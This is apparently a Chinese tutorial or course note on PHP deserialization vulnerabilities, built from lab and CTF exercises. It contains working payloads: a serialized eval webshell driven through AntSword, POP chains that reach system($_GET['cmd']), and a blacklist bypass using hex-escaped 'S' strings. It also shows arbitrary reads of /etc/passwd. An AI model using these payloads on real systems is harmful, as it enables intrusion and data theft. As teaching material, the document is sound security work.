反序列化漏洞

反序列化漏洞

反序列化漏洞就是攻击者通过伪造恶意的序列化数据,利用程序自动"还原对象"的机制,诱导服务器执行非预期的恶意指令或代码

产生原因

用户可以通过 HTTP、或其他网络协议向服务器发送任意的序列化字符串或字节码,服务器未经严格验证就进行了反序列化

危害

反序列化漏洞的核心危害

  • 远程代码执行 (RCE) :这是最严重的后果。攻击者可以像在自己电脑上操作一样,在你的服务器上运行任何命令(如 rm -rf 删除数据,或植入木马)。
  • 权限提升 :攻击者可以修改序列化数据中的用户属性(如将 is_admin: 0 改为 1),从而获得管理员权限。
  • 敏感信息泄露:利用漏洞读取服务器上的配置文件、数据库密码或源代码。
  • 拒绝服务攻击 (DoS) :通过构造消耗大量内存或 CPU 资源的恶意对象,导致服务器卡死或崩溃。
  • 内网渗透 :以该服务器为跳板,攻击公司内网中的其他设备(结合你之前问的 C段查询,攻击者拿下反序列化漏洞后,通常下一步就是扫 C 段)

利用

2-1.php/2-2.php

kls07.serialize.colanse.website/2-1.php

审计

用户传入的POST参数test,没有经过任何过滤,直接被 unserialize 反序列化,故存在反序列化漏洞,攻击者需要传入序列化字符串

编写payload
  1. 复制代码到新的 php 文件中
  2. 删除类之外的所有代码
  3. 改写属性值为预期内容
  4. 删除和属性无关的方法
  5. 实例化对象,输出序列化字符串
php 复制代码
<?php
  class A                                                                                                                                                                                                                            
{                                                                                                                                                                                                                                  
  var $test = "phpinfo();";                                                                                                                                                                                                      
  }                                                                                                                                                                                                                                  

  $obj = new A;                                                                                                                                                                                                                      
echo serialize($obj);

运行payload,得到序列化字符串

php -f payload.php

攻击反序列化漏洞

2-2-CTF题目练习

审计
绕过前期限制

限制: txt 必须是从文件读取的结果为 welcome to the bugkuctf

绕过:php://input

编写反序列化 payload

访问 hint.php ,复制代码,编写payload

php 复制代码
<?php
  class Flag{

  public $file = "flag.php";
  }
  $obj = new Flag();
echo serialize($obj);
?>
攻击反序列化漏洞

2-3.php

审计
编写payload
php 复制代码
<?php
class Test
{
    var $test = "<?php @eval($_POST['xiaohe']); ?>";

}

$obj = new Test();
echo serialize($obj);
攻击反序列化漏洞

去蚁剑测试连接,因为我写的是eval

kls07.serialize.colanse.website/2-3/flag.ph...

pop链

攻击者通过控制对象的属性,将程序中现有的多个代码片段(Gadgets)像接龙一样串联起来,最终形成的一条攻击路径

面向属性编程:危险函数不在魔术方法中,需要构造层层递进的利用链

拓展:代码审计的技巧

source -> sink 正常代码审计(正向审计),找输入点,看输入点是否能够连接到危险函数

sink -> source 反向代码审计,找危险函数,看危险函数是否能够连接到输入点

pop链-示例1

审计

确定目标:我要执行 eval,也就是 evil 类的 action 方法

问题1: 谁会执行 evil 类的 action 方法呢?

回答1:main类的 __destruct 方法能够执行 action 方法,前提是 $this->ClassObj 需要是 evil 类的对象

问题2:谁会执行 __destruct 方法呢?

回答2:反序列化自动执行

pop链如下:

eval -> evil.action -> main.destruct -> unserialize

编写payload
php 复制代码
class main {                                                                                                                                                                                                                       
  protected $ClassObj;                                                                                                                                                                                                           
  function __construct() {                                                                                                                                                                                                       
    $this->ClassObj = new evil();                                                                                                                                                                                              
  }                                                                                                                                                                                                                              
}                                                                                                                                                                                                                                  
class evil {                                                                                                                                                                                                                       
  private $data = "phpinfo();";                                                                                                                                                                                                  
}                                                                                                                                                                                                                                  
$obj = new main();                                                                                                                                                                                                                 
echo urlencode(serialize($obj));                                                                                                                                                                                                   
?>

因为修改了 protected 和 private 属性,故必须要URL编码,否则无法显示 0x00

攻击反序列化漏洞

pop链-示例2

审计
  1. 反序列化时自动触发 destruct , destuct 把对象字符串输出,又触发了 toString , toString 里有 file_get_contents 存在任意文件读取漏洞
  2. 反序列化时自动触发 wakeup ,wakeup 中写了过滤,无论如何name的值只能是 /etc/hostname 或 /etc/passwd
php 复制代码
<?php
class MyFile {
    public $name;
    public $user;
    public function __construct($name, $user) {
        $this->name = $name;
        $this->user = $user;
    }
    public function __toString(){
        return file_get_contents($this->name);
    }
    public function __wakeup(){
        if(stristr($this->name, "flag")!==False)
            $this->name = "/etc/hostname";
        else
            $this->name = "/etc/passwd";
        if(isset($_GET['user'])) {
            $this->user = $_GET['user'];
        }
    }
    public function __destruct() {
        echo $this;
    }
}
if(isset($_GET['input'])){
    $input = $_GET['input'];
    if(stristr($input, 'user')!==False){
        die('Hacker');
    } else {
        unserialize($input);
    }
}else {
    highlight_file(__FILE__);
}
?>
编写payload
  1. 无论如何name的值只能是 /etc/hostname 或 /etc/passwd,怎么读取其他文件呢?
    解决方案:浅拷贝,name没办法变动了,就让 user 和 name 建立浅拷贝关系,user变了,name 会同步变化
php 复制代码
class MyFile {                                                                                                                                                                                                                     
  public $name = "";                                                                                                                                                                                                             
  public $user = "";                                                                                                                                                                                                             

  public function __toString(){                                                                                                                                                                                                  
    return file_get_contents($this->name);                                                                                                                                                                                     
  }                                                                                                                                                                                                                              
  public function __wakeup(){                                                                                                                                                                                                    
    if(stristr($this->name, "flag")!==False)                                                                                                                                                                                   
      $this->name = "/etc/hostname";                                                                                                                                                                                         
    else                                                                                                                                                                                                                       
      $this->name = "/etc/passwd";                                                                                                                                                                                           
    if(isset($_GET['user'])) {                                                                                                                                                                                                 
      $this->user = $_GET['user'];                                                                                                                                                                                           
        }                                                                                                                                                                                                                          
    }                                                                                                                                                                                                                              
    public function __destruct() {                                                                                                                                                                                                 
        echo $this;                                                                                                                                                                                                                
    }                                                                                                                                                                                                                              
}                                                                                                                                                                                                                                  
$obj = new MyFile(); 
// user 和 name 属性建立浅拷贝关系,user变更时,name也会跟着改变
$obj->name = &$obj->user;                                                                                                                                                                                                          
echo serialize($obj);                                                                                                                                                                                                              
?>
攻击反序列化漏洞

被拦截!序列化中出现了 user 字符,被黑名单拦截

如何绕过:大S 16进制,如果 s 变成 S,值即可使用16进制表示

原本的payload

O:6:"MyFile":2:{s:4:"name";s:0:"";s:4:"user";R:2;}

把s改为S:

O:6:"MyFile":2:{s:4:"name";s:0:"";S:4:"user";R:2;}

把user中的u变为16进制 \75

O:6:"MyFile":2:{s:4:"name";s:0:"";S:4:"\75ser";R:2;}

任意文件读取

GET参数 user 实现任意文件读取

代码中任意文件读取是读取 name 而不是user,但是因为 name 和 user 建立了浅拷贝的关系,所以改动user,等价于改动了 name

file_get_contents($this->name);

例如查看域名

pop链-示例3

审计
php 复制代码
<?php
highlight_file(__FILE__);
class start_gg
{
    public $mod1;
    public $mod2;
    public function __destruct()
    {
        $this->mod1->test1();
    }
}
class Call
{
    public $mod1;
    public $mod2;
    public function test1()
    {
        $this->mod1->test2();
    }
}
class funct
{
    public $mod1;
    public $mod2;
    public function __call($test2,$arr)
    {
        $s1 = $this->mod1;
        $s1();
    }
}
class func
{
    public $mod1;
    public $mod2;
    public function __invoke()
    {
        $this->mod2 = "字符串拼接".$this->mod1;
    }
}
class string1
{
    public $str1;
    public $str2;
    public function __toString()
    {
        $this->str1->get_flag();
        return "1";
    }
}
class GetFlag
{
    public function get_flag()
    {
        system($_GET['cmd']);
    }
}
$a = $_GET['string'];
unserialize($a);
?>
  1. 目标:RCE漏洞
  2. 问题1:谁会调用GetFlag类的 get_flag 方法? 回答1:在 string1 类中 如果 $this->str1 是GetFlag的对象,就会调用get_flag方法
  3. 问题2:谁会调用string1 类的 __toString 方法? 回答2:如果func类的 $this->mod1 是string1的对象,就会调用 __toString方法
  4. 问题3:谁会调用func类的 __invoke 方法? 回答3:如果funct类的 $this->mod1 是func的对象,就会调用 __invoke 方法
  5. 问题4:谁会调用funct类的 __call 方法? 回答4:如果 Call 类的$this->mod1 是funct的对象,就会调用 __call 方法
  6. 问题5:谁会调用Call类的 test1 方法? 回答5:如果start_gg类的 $this->mod1 是Call的对象,就会调用 test1 方法
  7. 问题6:谁会调用startgg类的 _destruct 方法? 回答6:反序列化自动触发
编写payload
php 复制代码
<?php
highlight_file(__FILE__);
class start_gg
{
    public $mod1;
    public function __construct()
    {
        $this->mod1 = new Call();
    }
}
class Call
{
    public $mod1;
    public function __construct()
    {
        $this->mod1 = new funct();
    }
}
class funct
{
    public $mod1;
    public function __construct()
    {
        $this->mod1 = new func();
    }
}
class func
{
    public $mod1;
    public function __construct()
    {
        $this->mod1 = new string1();
    }
}
class string1
{
    public $str1;
    public function __construct()
    {
        $this->str1 = new GetFlag();
    }
}
class GetFlag
{}
$obj = new start_gg();
echo urlencode(serialize($obj));
?>
攻击反序列化漏洞

可以查看id cmd=id

也可以看/etc/passwd cat /etc/passwd

相关推荐
请输入蚊子1 小时前
CVE-2026-8260 D-Link DCS-935L缓冲区溢出漏洞 复现
网络·安全·web安全·iot
miofly2 小时前
Google 发布 EmbeddingGemma 2:7.4 亿参数的多模态嵌入模型
开源·github
sbjdhjd2 小时前
智能体开始“动手”之后:OpenAI越权事件、Anthropic算力资本化与开放权重模型竞逐 | AI与SI行业日报整理(9月29日—10月6日)
大数据·人工智能·经验分享·笔记·ai·chatgpt·开源
东木月2 小时前
Windows C 盘清理指南:安全删除临时文件、缓存与 Prefetch
c语言·windows·安全
. . . . .2 小时前
地理位置定位
安全
wflynn3 小时前
GitHub 今日推荐|lightcraft:纯 Rust 重写的 RAW 照片开发工具
rust·开源·github·lightroom·art·photography
都适、隶仁ミ3 小时前
【等保加固】MySQL5.7.38
运维·服务器·mysql·安全·等保
秋天的一阵风3 小时前
🚀 nacos-web-config:运营半夜改条配置,网页秒更新 —— 不用发版、不用轮询,我把它开源了
java·前端·开源